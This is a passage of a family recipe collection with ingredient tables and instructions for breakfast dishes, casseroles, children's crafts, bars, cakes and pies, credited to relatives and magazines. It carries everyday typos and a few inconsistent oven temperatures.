2	pints	fresh/cut up	fruit
1	tbl		orange juice
1	tbl		sugar
1	cup	or more	yogurt, whipped cream or eggs, etc.

Instructions:

Preheat oven to 450. Spray cookie sheet with oil and set aside.

In a large bowl, sift together flour, sugar and baking powder. Stir in orange peel. Using pastry blender, cut the butter into the flour mixture until coarse crumbs form. quickly stir in the milk until a soft dough forms.

On a lightly floured surface, roll out dough to a 1/2 inch thickness. Using a 2 1/2 biscuit cutter or drinking glass of that diameter, cut out biscuits. Gather trimmings, re-roll and cut out more biscuits. Do not overwork the dough. Place on prepared baking sheet. Bake until golden. Place biscuits on a wire rack and cool slightly.

In a large bowl, combine fruit, orange juice and sugar, mix well.

Split warm biscuits in half horizontally. Place bottom halves on serving plates. Top each with filling. Cover with biscuit tops. Serve with remaining filling, garnish with yogurt, whipped cream, sour cream or scrambled eggs.

Shortcake Muffins with Fruit

Apple Filling for Blintzes

Breakfast

Recipe from: Sue Paulding

Fruit

From "The Art of Jewish Cooking"

Serves: 18 blintzes **Time-- Preparation:** **Temperature:** 0

Season: Everyday **Cooking:** Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
1			egg white
1.5	cup	finely chopped	apples
4	tbl		sugar
0.5	tsp		cinnamon
3	tbl		brown sugar
3	tbl		melted butter
1		recipe	blintzes crepes

Instructions:

Beat the egg white until it begins to stiffen. Fold in the apples, sugar and cinnamon. Fill the pancakes and arrange in a buttered baking pan. Sprinkle with the brown sugar and butter. Bake at 400 for 20 minutes.

Blueberry Filling for Blintz

Breakfast

Recipe from: Sue Paulding

Fruit

From "The Art of Jewish Cooking"

Serves: 18 blintzes **Time-- Preparation:** **Temperature:**
Season: Everyday **Cooking:** Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1.5	cup		blueberries
3	tbl		sugar
1	tbl		cornstarch
0.15	tsp		nutmeg

Instructions:

Toss all the ingredients together. Fill pancakes fresh, bake till brown. OR Cook ingredients for a few minutes, fill pancakes and serve.

John's Morning Oatmeal

Breakfast

Recipe from: Sue Paulding

Grains

Serves: _____ **Time-- Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 Microwave

QTY.	MEAS.	PREP.	INGREDIENTS
			cracked oats
			apple juice
0.5	cup		non-fat yogurt
			raisins
			cinnamon

Instructions:

Use the appropriate amount of apple juice substituted for water as described on the package of cracked oats. Use 1/2 cup of yogurt per serving. Add raisins and cinnamon to taste.

Mix oats and apple juice, microwave on high 3 to 3 1/2 minutes. Add 1/2 cup of nonfat yogurt, raisins, cinnamon and let set for two minutes. Serve.

French Breakfast Puffs

Breakfast

Recipe from: Naomi Luby

Muffin

Very sugary sweet.

Serves: 12 muffins **Time-- Preparation:** 0 **Temperature:** 350
Season: Everyday **Cooking:** 20-25 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.33	cup		shortening
0.5	cup		sugar
1			egg
1.5	cup		flour
1.5	tsp		baking powder
0.5	tsp		salt
0.25	tsp		nutmeg
0.5	cup		milk
1	cube	melted	butter
0.5	cup		sugar
1	tsp		cinnamon

Instructions:

Mix together shortening, sugar and egg. Sift together flour, baking powder, salt, nutmeg and stir alternately with milk into creamed mixture. Fill greased muffin cups 2/3 full. Bake until brown. Immediately roll in 1 cube melted butter then in mixture of 1/2 cup of sugar and 1 tsp cinnamon.

French Pastry Blintzes

Breakfast

Recipe from: Naomi Luby

Pastries

Family favorite.

Serves: 4 **Time-- Preparation:** 0 **Temperature:** 0
Season: Everyday **Cooking:** 0 Fry

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	pound		butter
8	ounces		cream cheese
3	cup		flour
1	dash		salt
5			eggs
6	pkgs	(1 pint)	hoop cheese (cottage)
0.33	cup		sugar
0.25	pound	melted	margarine

Instructions:

Mix butter, cream cheese, flour, salt and 1 egg together. Refrigerate. Roll, cut, fill and shape. Bake at 350 until brown (about 1 hour).

Filling: Mix together 6 packages of hoop cheese, 4 eggs, 1/3 cup of sugar, 1/4 pound of melted margarine and a dash of salt. Spoon into pastry.

Egg Crepe Blintzes

Breakfast

Recipe from: Naomi Luby

Pastries

Thin limp blintz that Grandma Luby would make.

Serves: *Time-- Preparation:* 0 **Temperature:** 0
Season: Everyday **Cooking:** 0 Fry

QTY.	MEAS.	PREP.	INGREDIENTS
4		beaten	eggs
2		beaten	egg yolks
1	cup		flour
1	cup		milk
1	tsp		salt
1.5	pounds		cottage cheese
1	tbl		butter
1	tbl		sugar

Instructions:

Beat 4 eggs, 1 cup of flour, 1 cup of milk and salt together. Pour thinly into crepe pan and make crepes one at a time. Fill with filling and serve.

Filling: cream together cottage cheese, egg yolks, butter and sugar. Bake or fry to cook yolks. Stuff into crepes and serve with fruit topping.

Egg Crepe Blintzes

Jam Crescents

Breakfast

Recipe from: Naomi Luby

Pastries

Serves: *Time--* Preparation: 0 **Temperature:** 350**Season:** Everyday **Cooking:** 15 min **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
2.5	cups	sifted	flour
2	tbl		sugar
0.15	tsp		salt
0.75	cup		margarine
0.25	cup	warm	water
1	pkg		yeast
2			egg yolks
1	jar		jam
1		slightly beated	egg white

Instructions:

Combine flour, sugar and salt in a large mixing bowl. Cut butter with pastry blender until mixture resembles coarse meal. Measure very warm water into small bowl. sprinkle or crumble in yeast; stir ;until dissolved. Add egg yolks and mix. Stir yeast mix into flour mix. Knead in bowl about 10 strokes to mix. Divide dough in 1/2, roll out and cut in squares. Put jam on and roll in crescents. Place on ungreased cookie sheet and let rise 1 hour. Brush with egg white, bake at 350 for 15 minutes. Sprinkle with powdered sugar.

Pancakes

Breakfast

Recipe from: Sue Paulding

Pastries

From Better Homes and Gardens--this is Sue's great pancakes.

Serves: 12 dollar size **Time-- Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1.25	cup	sifted	flour
3	tsp		baking powder
1	tbl		sugar
0.5	tsp		salt
1		beaten	egg
1	cup		milk
2	tbl		salad oil

Instructions:

Sift together dry ingredients. Combine egg, milk and salad oil; add to dry ingredients, stirring just till moistened. Bake on hot griddle. Makes about 12 dollar-size or eight 4 inch pancakes.

For thinner pancakes, add 2 tablespoons milk to batter.

Chicken Casserole

Casserole

Recipe from: Laura Abaloe

Serves: 2	Time-- Preparation: 30 min.	Temperature: 350
Season: Everyday	Cooking: 20 min.	Bake

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

- ~ 2lb chicken breast (enough for two people, some like more chicken than others :))
- ~ 1 box chicken Rice a Roni
- ~ 1 1/2 cup sour cream
- ~ 1 (12 oz.) can of cream of mushroom soup
- 1 tsp. pepper

Precook chicken until it is almost done. if cooked all the way, it will become dry with the second cooking!!! after chicken is precooked, season with powdered garlic. cook rice according to back of box. combine rice, chicken, sourcream, soup, and pepper. fold until even and place into a casserole dish. top off with a layer of crunch such as potato chips, bread crumbs, corn flakes, etc. My favorit topping is the potato chips:) place dish in 350 oven for 30 min. serve

Chicken Casserole

Sticky Coconut Chicken

Chicken

Recipe from: Sunset Magazine

Sticky Coconut Chicke

Serves: 2-4 **Time-- Preparation:** 15 **Temperature:** 350
Season: Summer **Cooking:** 45 BBQ

QTY.	MEAS.	PREP.	INGREDIENTS
1	T	minced	fresh garlic
1	t	ground	pepper
1	t		hot chili flakes
0.75	cup	canned	coconut milk
4	to 5	green	onions
0.75	cup		rice vinegar
0.5	cup		soy sauce
1	t		hot chili flakes

Instructions:

Marinate chicken for 3 hours to 1 day in mix of coconut milk, ginger, pepper, chili flakes. Garnish with green onions. Cover with chili glaze.

Chili glaze: combine vinegar, soy sauce, chili flaces and bring to boil. Cook until reduced to 1/2 cup (about 8-10 minutes.)

Low Carb Chicken Cordon Bleu

Chicken

Recipe from: Lisa Hendricks

A Jell-O © recipe. Fun for the kids.

Serves: 4	Time-- Preparation: 10	Temperature:
Season: Everyday	Cooking: 20	Bake

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

<p> Ingredients <p>

<p> 1/2 cup Atkins Quick Quisine Bake Mix <p>

<p> salt and pepper to taste <p>

<p> 2 eggs, lightly beaten <p>

<p> 2 while skinlees, boneless chicen breasts, cut in half <p>

<p> 4 thin slices Swss cheese <p>

<p> 4 thin slices broiled or baked ham <p>

<p> 2 tablespoons olive oil <p>

<p> 1. On a plate, mix the bake mix, salt, and pepper. Put the eggs on another plate <p>

<p> 2. Pound teh chicken breasts until they are thing, about 1/8 inch thick. Place 1 slice of Swiss cheese and 1 slice of ham on each chicken piece. Fold the chicken in half, creating a "sandwich." Dip the chicken in the eggs and then dredge in the bake mix, shaking off any excess. <p>

<p> 3. Heat the oil in a skillet over medium-high heat until hot but not smoking. Cook the chicken for 4 or 5 minutes on each side, or until golen brown and cookd through. Serve immediately. <p>

<p> Notes: I like to add extra seasonings to the Atkins Bake Mix. I mix in season salt, garlic salt, taragon, basil or anything that seems appealing in the cupboard. Sometimes I will add some low carb spaghetti sauce to add a different flavor to the chicken.

Playdough

Children

Recipe from: Sue Paulding

Fun

Good for a rainy day.

Serves: 2 cups **Time-- Preparation:** 30 min **Temperature:** medium

Season: Everyday **Cooking:** 0 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		flour
1	cup		salt
4	tsp		cream of tartar
4	tsp		oil
2	cup		water
10	drops		food coloring--to taste

Instructions:

Mix all together and cook over medium heat until consistency is smooth. Cool. Store in zip lock bags in refrigerator.

Playdough

Jell-O Jigglers

Children

Recipe from: Sue Paulding

pudding

A Jell-O © recipe. Fun for the kids. loan<

Serves: 12 pieces **Time-- Preparation:** 0 **Temperature:** 0

Season: Summer **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
2	small	pkgs (4 serv)	Jello, any flavor OR
1	large	pkg (8 serv)	Jello, any flavor
1.25	cup	boiling	water OR
1.25	cup	boiling	apple juice
12			Jiggler Molds (fun shapes)

Instructions:

Completely dissolve gelatin in boiling water or juice. Pour into molds. Chill until firm or about 3 hours.

To remove, dip molds in warm water about 15 seconds. Moisten tips of fingers and gently pull Jigglers from edges. Lift out with fingers. If Jigglers are not easily removed, dip in warm water again.

Scotchy Chocolate Fondue

Dessert

Recipe from: Sue Paulding

Serves: *Time-- Preparation:* 10 min **Temperature:** 365
Season: Everyday **Cooking:** 20 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	can		sweetened condensed milk
1	11 oz	jar	butterscotch sauce
1	6 oz	pkg	simi-sweet chocolate pieces
		sliced	fruit

Instructions:

Preheat over to 375. Spoon condensed milk and butterscotch sauce into 2 quart casserole. Add chocolate. Bake uncovered for 20 minutes or until hot. Stir to mix ingredients. Dip fruit slices into fondue.

Pumpkin Roll Holiday Treat

Dessert

Recipe from: Reba Rhodes

Pumpkin Log cut into spiral swirls

Serves: _____ **Time-- Preparation:** 10 **Temperature:** 375
Season: Holiday **Cooking:** 15 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3			Eggs
1	cup		granualted sugar
0.75	cup		flour
2	tsp		cinnamon
0.5	tsp		nutmeg
0.66	cup		pumpkin
1	tsp		lemon juice
1	tsp		baking powder
1	tsp		ginger
0.5	tsp		salt
1	cup	finely chopped	walnuts
2	pkg	3 oz	cream cheese-for filling
1	cup		powdered sugar for filling
5	tsp		margerine for filling
0.5	tsp		vanilla for filling

Instructions:

Beat eggs 5 minutes on high, Gradually add sugar. Add pumpkin, flour, lemon juice, baking powder and spices.

Prepare 11x15 jelly roll pan. Grease, line with waxed paper, grease again.

Pour mixture into pan. Sprinkle with walnuts.

Bake 15 minutes at 375. Turn onto cloth sprinkled with powdered sugar (sifted). Roll up in cloth, cool.

Filling: Mix well. Spread onto unrolled cake. Reroll, seam down and chill before serving.

Gemini Cricket Pie

Dessert

Recipe from: Laura Abaloe

No bugs in this one!

Serves: 8 **Time-- Preparation:** **Temperature:** Frozen
Season: Summer **Cooking:** 5-10 min Freeze

QTY.	MEAS.	PREP.	INGREDIENTS
1			Oreo Pie Crust
0.5	Gallon		Mint & Chip ice-cream
1	or 2	bottles	Whipped Cream
		graded	Hershey's chocolate or ice-cream fudge

Instructions:

<p>Let mint and chip ice cream sit out until soft. once soft (not melted), scoop out ice-cream and place into pie crust. top off with whipped cream. Then decorate with graded chocolate or drizzled fudge. place in freezed until ice cream is once again firm.<p>

1(or2) bottle Whipped Cream - depends on if you are a whipped cream lover:

Apple Dip

Dessert

Recipe from: Linda Lokkart

Yummy carmel apple on a plate

Serves: 8 **Time-- Preparation:** 10 min. **Temperature:**
Season: BBQ **Cooking:** 10 min. Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	package	regular or lite	cream cheese
0.25	cup		brown sugar
0.5	Jar		Mrs. Richardsons Butterscotch Carmel
2		broken up	Heath Bars
3		sliced	Tart apples

Instructions:

Blend 1 pkg. regular or lite cream cheese with brown sugar. Spread thin on large plate.
Drizzle 1/2 jar of Mrs. Richardsons Butterscotch Carmel over cream cheese mixture.
Break two frozen Heath Bars into very small pieces with a hammer. Sprinkle over mixture.
Slice tart apples, to be eaten with the dip.

O'Henry Bars

Dessert

Recipe from: Laura Abaloe

yummy treat from the newspaper!

Serves: **Time-- Preparation:** 12-15 min **Temperature:** 375
Season: Everyday **Cooking:** Bake

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

4 cups oatmeal oats
1 cup brown sugar
2/3 cup melted butter
3 tsp. vanilla
1/2 cup corn syrup

Toppings:

2/3 cup peanut butter
12 oz. bag of chocolate chips

<p> Mix main ingredients. Spread into a greased baking sheet. Bake for 12-15 min. Cool slightly. Drop peanut butter in table spoons on top of oat bar. Spread when melted. Sprinkle chocolate chips on top of peanut butter. Spread when melted. Put in fridge until hard. Cut into squares.

Never Fail Pie Crust

Dessert

Recipe from: Naomi Luby aka Grandma

Just what it sounds like! A great pie crust recipe

Serves: 2 crusts (one 9 i **Time-- Preparation:** until golden **Temperature:** r pie recipe

Season: BBQ **Cooking:** 15 to 20 minutes **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
3	cups		flour
1	cup		shortening
0.5	tsp		baking powder
0.5	tsp		salt
2	tbls		vinegar
5	tbls		water
1			egg

Instructions:

Blend flour, baking powder, salt and shortening. Mix vinegar, water and egg together. Mix dry and wet ingredients together. Separate in two. Roll each out on floured board.

Sue's Brownie

Dessert

Recipe from: Sue Paulding

Bar

Original written in Naomi's handwriting.

Serves: **Time-- Preparation:** 15 min **Temperature:** 325
Season: Everyday **Cooking:** 50 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.66	cup		margarine
1.5	cup		sugar
0.25	cup		water
12	ounce	package	chocolate chips
2	tsp		vanilla
4			eggs
1.5	cup		self rising flour
0.5	tsp		baking soda

Instructions:

Melt margarine, sugar and water in saucepan and bring to boil. Take off heat and add chocolate chips and vanilla. Pour mixture into mixing bowl and add eggs one at a time while mixer is on. Add remaining ingredients. Mix and pour into greased 13 by 9 by 2 inch pan. Bake at 325 for about 50 minutes.

Lemon Bars

Dessert

Recipe from: Naomi Luby

Bar

Same as Grandma Judy's Lemon Bars

Serves: 2 dozen bars **Time-- Preparation:** 15 min **Temperature:** 350

Season: Everyday **Cooking:** 20 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	(BAR)	flour
0.5	cup	(BAR)	powdered sugar
1	cup	(BAR)	butter or margarine
0.15	tsp	(BAR)	salt
4		(FILLING)	eggs
2	cup	(FILLING)	sugar
4	tbl	(FILLING)	flour
1	tsp	(FILLING)	baking powder
			powdered sugar for top
4	tsps		lemon juice
2		grated	rind of 2 lemons

Instructions:

Mix BAR ingredients as you would for pie crust. Pat mixture into 13 by 9 by 2 inch pan firmly. Bake for 20 minutes at 350.

Combine all FILLING ingredients and mix well.

When crust has baked 20 minutes, remove from oven and pour egg mixture over hot crust. Return to oven and bake 20-25 minutes. Cool. Sprinkle top with powdered sugar that has been sifted or forced through a sieve to avoid lumps. Cut into bars to serve.

Lemon Bars

Coconut Dream Bars

Dessert

Recipe from: Naomi Luby

Bar

Happy eating!

Serves: *Time--* Preparation: 0 **Temperature:** 375
Season: Everyday **Cooking:** 12, 25 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup		butter
1	cup	sifted	flour
0.5	cup		brown sugar
1	cup		brown sugar
3	tbl		flour
0.25	tsp		salt
1	cup		coconut
2			eggs
0.5	tsp		baking powder
1	tsp		vanilla
1	cup		nuts

Instructions:

Mix butter, 1 cup flour and 1/2 cup brown sugar thoroughly, spread in an ungreased 8 by 13 pan, bake at 375 for 10 to 12 minutes. Remove and cool slightly.

While cooling mix 1 cup brown sugar, 3 tablespoons flour, salt, coconut, eggs, baking powder, vanilla and nuts and mix together. Spread over the baked crust. Return to oven and bake 25 to 30 minutes. Cool and cut into squares.

Reese's Peanut Butter Squares

Dessert

Recipe from: Sue Paulding

Bar

Serves: 3 dozen **Time-- Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
22			graham cracker squares
1	box	(1 pound)	powdered sugar
1	cup	(1/2 pound)	melted butter or margarine
1	cup	cream style	peanut butter
1	pkg	(12 oz)	semisweet chocolate chips
1	pkg		Reese's Pieces

Instructions:

In a food processor or blender, whirl enough of the graham crackers to make 1 1/2 cups fine crumbs. Add the powdered sugar; whirl to blend well and break up any lumps. Pour the mixture into a large mixing bowl. Add the melted butter and peanut butter, and stir well to blend thoroughly.

Spoon peanut butter mixture into an ungreased 9 by 13 inch pan and press firmly into an even layer. Lay a piece of waxed paper on top and press down onto surface. chill until cold, about 45 minutes.

Pull off and discard the waxed paper. In a 1 1/2 to 2 quart pan over very low heat, melt the chocolate chips, stirring until smooth. Spread chocolate evenly over the chilled peanut butter layer. Spread Reese's Pieces over the chocolate layer. Let stand until chocolate firms slightly, about 15 minutes, then cut into 1 to 1 1/2 inch squares. If made ahead, cover airtight and chill up to a week, lift out to serve.

Quick Carrot & Cream Cheese Bars

Dessert

Recipe from: Sue Paulding

Bar

Serves: 36 bars**Time-- Preparation:** 0**Temperature:**

350

Season: Everyday**Cooking:** 25-30 min

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3			eggs
0.33	cup		oil
1		15 oz can	apple sauce
1	pkg		Carrot & Spice cake mix
1	cup		raisins
1	can		cream cheese frosting
0.25	cup	chopped	nuts

Instructions:

Grease and flour 15 by 10 inch jelly roll pan. Blend eggs, oil, apple sauce at low speed for one minute. Add carrot and spice cake mix and blend two minutes. Add 1 cup of raisins. Pour into pan and bake. Let cool completely. Frost with 1 can of cream cheese frosting. Sprinkle chopped nuts on top.

Applesauce Raisin Brownies

Dessert

Recipe from: Sue Paulding

Bar

Serves: *Time--* Preparation: 0 **Temperature:** 350**Season:** Everyday **Cooking:** 25 min **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
6	tbl		butter or margarine
1.25	cup	packed	brown sugar
0.5	cup		applesauce
1			egg
1	tsp		vanilla
1.25	cup		flour
1	tsp		baking powder
0.5	tsp		salt
0.5	tsp		cinnamon
0.25	tsp		baking soda
0.25	tsp		nutmeg
0.5	cup		raisins
0.5	cup	chopped	nuts
0.5	cup	sifted	powdered sugar
1	tbl		orange juice

Instructions:

Melt butter over low heat, remove from heat and stir in sugar, then applesauce, egg & vanilla. In a bowl, stir together flour, baking powder, salt, cinnamon, soda and nutmeg. Add the applesauce mixture and blend well. Stir in raisins and nuts. Spread mixture into a greased 9 by 13 inch pan. Bake 25 minutes in 350 degree oven. Cool if desired, glaze with mixture of 1/2 cup of sifted powdered sugar and 1 tablespoon orange juice.

Neiman-Marcus Bars

Dessert

Recipe from: Judy Powell

Bar

From Grandma Judy

Serves: 4 dozen bars **Time-- Preparation:** 15 min **Temperature:** 325**Season:** Christmas **Cooking:** 45-50 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup	melted	margarine (not butter)
1	box		yellow cake mix (not pudding type)
3			eggs
8	oz	softened	cream cheese
1	lb		powdered sugar
0.5	cup	flaked	coconut
0.5	cup	chopped	walnuts or pecans

Instructions:

Combine margarine, cake mix and 1 egg. Stir together until dry ingredients are moistened. Pat mixture into bottom of well greased 15 x 10 inch jellyroll pan.

Beat remaining 2 eggs lightly, then beat in cream cheese and powdered sugar. Stir in coconut and nuts. Pour over mixture in jellyroll pan, spreading evenly. Bake at 324 degrees 45 to 50 minutes or until golden brown. Cool pan on wire rack to room temperature. Makes 4 dozen bars.

Fig Pudding

Dessert

Recipe from: Naomi Luby

Cake

Traditional Fig Pudding

Serves: 12 **Time-- Preparation:** 30 minutes **Temperature:** Steam**Season:** Christmas **Cooking:** 3 hours Steam

QTY.	MEAS.	PREP.	INGREDIENTS
0.33	cup		shortening
0.5	tsp		salt
0.66	cup		sugar
4	cups	crumbled	graham crackers
2	tsp		baking powder
2		beaten	eggs
1	cup	chopped	dry figs
1	cup		milk
0.5	cup	diced	candied orange peel
0.25	cup	chopped	nuts
0.25	cup		citron

Instructions:

Cream together shortening and sugar. Add eggs and mix well. Stir in figs, orange peel, citron and nuts. combine salt, baking powder and crumbs. Add, alternately with milk to fruit mixture. Turn into greased 6 cup mold. Cover and steam for three hours. Unmold. Serve with hard sauce.

Fig Pudding

Cheese Cake

Dessert

Recipe from: Lisa Powell

Cake

Very easy but tasty cheese cake--use with cheese cake topping.

Serves: 8 **Time-- Preparation:** 10 min **Temperature:** 350**Season:** Everyday **Cooking:** 15-20 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3	pkgs	8 oz	cream cheese
2		well beaten	eggs
2	tsp		vanilla
1	tsp		lemon juice
0.66	cup		sugar

Instructions:

Cream together cream cheese, eggs, vanilla and lemon juice. Stir in the sugar and place in graham cracker crust shell. Bake for 15 to 20 minutes.

Cheese Cake

Cheese Cake Topping

Dessert

Recipe from: Lisa Powell

Cake

Use this to top the cheese cake or other cooked creamed pies.

Serves: 8 **Time-- Preparation:** 10 min **Temperature:** 350

Season: Everyday **Cooking:** 10 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	carton	small	sour cream
1	tsp		vanilla
3	tbl		sugar

Instructions:

Blend all ingredients and spread on top of pie. Return to oven for 10 minutes.

Tunnel of Fudge Cake

Dessert

Recipe from: Tony Van Ness

Cake

GUI, yummy cake

Serves: 8 **Time-- Preparation:** 30 min **Temperature:** 350**Season:** Everyday **Cooking:** 55-60 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1.5	cups	soft	butter
6			eggs
2	cups		flour
1.5	cups		sugar
1	pkg		Double Dutch dry frosting mix
2	cups	chopped	Nuts

Instructions:

Beat butt at high speed until fluffy. Beat in 6 eggs, one at a time. Gradually beat in 1.5 cups of sugar, beat until fluffy. By hand, stir in 2 cups of flour, dry frosting mix and 2 cups of chopped walnuts until blended. Bake in greased Bundt or 10 inch tube pan at 350 for 55-60 minutes (until top is dry and shiny) Cool in pan 2 hours.

Note: Frosting mix and nuts are essential for success.

Chocolate Cheesecake

Dessert

Recipe from: Lisa Powell

Cake

Lisa' Chocolate cheesecake that Uncle Earle loved so much.m

Serves: 12 **Time-- Preparation:** 30 min **Temperature:** 300

Season: Everyday **Cooking:** 60-65 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3	pkg	creamed	8 oz. cream cheese
1	can		Eagle Brand Milk
1	pkg	melted	12 oz. semisweet chocolate
4			eggs
2	tsp		vanilla

Instructions:

Make Lisa's graham cracker crust first.

Blend all ingredients in food processor, mixer or blender. Pour into graham cracker crust in cheesecake pan. Bake at 60 to 65 minutes at 200 degrees. Cool one hour and chill two hours. Top with your favorite topping.

Lisa's Graham Cracker Crust

Dessert

Recipe from: Lisa Powell

Cake

Use this one with Lisa's chocolate cheesecake

Serves: 12 **Time-- Preparation:** 10 min **Temperature:** 0

Season: Everyday **Cooking:** non Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
0.33	cup	melted	butter
1.25	cup	crushed	graham crackers
0.25	cup		sugar

Instructions:

Crush graham cracker and melt butter. Mix all together and put in bottom of large cheesecake pan. Press firmly around the edges and bottom.

Tequila Poppyseed Cake

Dessert

Recipe from: Gwen Powell

Cake

Great for parties.
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Serves: 10 **Time-- Preparation:** 15 min **Temperature:** 350

Season: Everyday **Cooking:** 45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	box		yellow cake mix
4			eggs
1	box		instant vanilla pudding
0.5	cup		Tequilla
0.5	cup		water
0.33	cup		vegetable oil
0.5	box		poppyseeds

Instructions:

Blend all ingredients together and pour into greased and floured bundt pan. Bake at 350 degrees for about 45 minutes or until done.

7-Up Pound Cake

Dessert

Recipe from: Naomi Luby

Cake

Grandma's 7 pound-oops 7-Up Pound Cake loan

Serves: 1 cake **Time-- Preparation:** 1 hour **Temperature:** 350**Season:** BBQ **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3	cup		sugar
2	sticks		margarine
0.5	cup		shortening
5			eggs
3	cup		flour
6	ounces		7-Up
1	tbl		vanilla
1	tbl		lemon flavoring

Instructions:

Cream sugar, margarine, shortening, eggs together, adding eggs one at a time. Add flour, 7-Up and mix well. Add vanilla and lemon flavoring. Pour into well greased bundt pan and bake 1 hour at 350.

7-Up Pound Cake

German Sweet Chocolate Cake

Dessert

Recipe from: Naomi Luby

Cake

Serves: *Time--* **Preparation:** 1 hour **Temperature:** 350**Season:** Everyday **Cooking:** 35-40 min **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
1	pkg		Bakers German Sweet Chocolate
0.5	cup		water
1	cup		butter
2	cup		sugar
4		unbeaten	egg yolks
0.5	tsp		salt
1	tsp		vanilla
1	tsp		baking soda
1	cup		buttermilk
2.5	cup		sifted flour
4		stiff beaten	egg whites

Instructions:

Melt chocolate in boiling water, cool. Cream butter and sugar until light and fluffy. Add egg yolks one at a time. Beat after each addition. Add chocolate and vanilla. Sift flour with soda and salt. Add alternately with buttermilk to egg mixture. Beat after each addition. Fold in egg whites. Pour into three greased and floured pans lined with wax paper. Bake at 350 for 35 to 40 minutes. Use with Coconut Pecan Frosting.

Coconut Pecan Frosting

Dessert

Recipe from: Naomi Luby

Cake

Use this with German Chocolate Cake loaf

Serves: **Time-- Preparation:** 15 min **Temperature:** 0**Season:** Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		evaporated milk
1	cup		sugar
3			egg yolks
0.25	pound		butter or margarine
1	tsp		vanilla
1	can		Angel Flake coconut
1	cup	chopped	pecans

Instructions:

Mix milk, sugar, egg, butter and vanilla. Cook over medium heat for about 12 minutes stirring until mixture thickens. Add 1 can of Angel Flake coconut and 1 cup chopped pecans. Beat until cool, spread on cakes.

Yum Yum Cake

Dessert

Recipe from: Naomi Luby

Cake

Serves: *Time--* **Preparation:** 0 **Temperature:** 350

Season: Everyday **Cooking:** 35 min **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	(cake)	sugar
2	cup	(cake)	flour
2	tsp	(cake)	baking soda
0.25	tsp	(cake)	salt
2		(cake)	eggs
1	tsp	(cake)	vanilla
1	can	(cake)	crushed pineapple
1	stick	(icing)	butter or margarine
1	can	(icing)	Eagle Brand milk
1	cup	(icing)	coconut
1	cup	(icing)	chopped pecans

Instructions:

Combine cake ingredients and pour into ungreased 9 by 13 inch pan. Bake at 350 for 35 minutes.

Icing: bring butter and Eagle Brand milk to a boil for 2 minutes. Add coconut and pecans. Pour on hot cake. Cool and Serve.

Apple Walnut Cake

Dessert

Recipe from: Sue Paulding

Cake

Serves: *Time--* **Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 1 hour Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.25	cup		shortening
1	cup		sugar
2	cup	peeled/sliced	tart apples
0.25	tsp		salt
1	cup		flour
1	tsp		soad
1	tsp		cinnamon
0.5	tsp		cloves
0.5	cup		walnuts

Instructions:

Cream shortening, add sugar, egg and apples; cream together. Add dry ingredients; mix well. Bake in greased and floured loaf pan at 350 for about 1 hour or until test done. If desired, you can ice with a powdered sugar icing, drizzling over cake after it is cool.

Continuous Apple Cake

Recipe from: Sue Paulding

This is a 10 day recipe.

Dessert

Cake

Continuous Apple Cake

Dessert

Serves: 1 cake **Time-- Preparation:** 10 days **Temperature:** 350
Season: Everyday **Cooking:** 45-60 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
			oil
			eggs
			vanilla
			wheat flour
			sugar
			baking soda
			baking powder
			cinnamon
			nutmeg
		thinly sliced	apples
			nuts
			flour
			milk

Instructions:

Recipe: Preheat oven to 350. To the remaining batter add: 2/3 cup oil, 3 eggs, 2 tsp vanilla. Mix well.

Sift together then add to batter: 2 cup wheat flour, 2 cup sugar, 1.5 tsp baking powder, 1.5 tsp baking soda, 1 tsp cinnamon, 1 tsp nutmeg. Mix well.

Add 1 large thinly sliced apple (and 1 cup nuts if you wish).

Pour into greased 9 by 11 cake pan.

Bake at 350 for 45 to 60 minutes. Check at 45 minutes. Center should be soft but not runny.

When you receive this recipe:

Day 1: When you receive batter, place it in a large mixing bowl and core loosely with a towel.

Day 2: Do nothing. (I like that idea)

Day 3: Stir with wooden spoon.

Day 4: Do nothing. (Doesn't sound too productive)

Day 5: Add 1 cup milk, 1 cup flour, 1 cup sugar and stir with wooden spoon, mixing well.

Day 6: Do nothing. (again?)

Day 7: Stir with wooden spoon.

Day 8: Do nothing.

Day 9: Do nothing.

Day 10: Add 1 cup milk, 1 cup flour, 1 cup sugar, stir well. Take out 3 cups of batter, putting 1 cup in each of three containers to give one of each to 3 friends along with a copy of this recipe.

(What if I don't have three friends? After I give them this recipe they won't be my friend anymore. This sounds like a Pontsi pyramid! Is this legal?)

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Continuous Apple Cake

Angel Strawberry Dessert

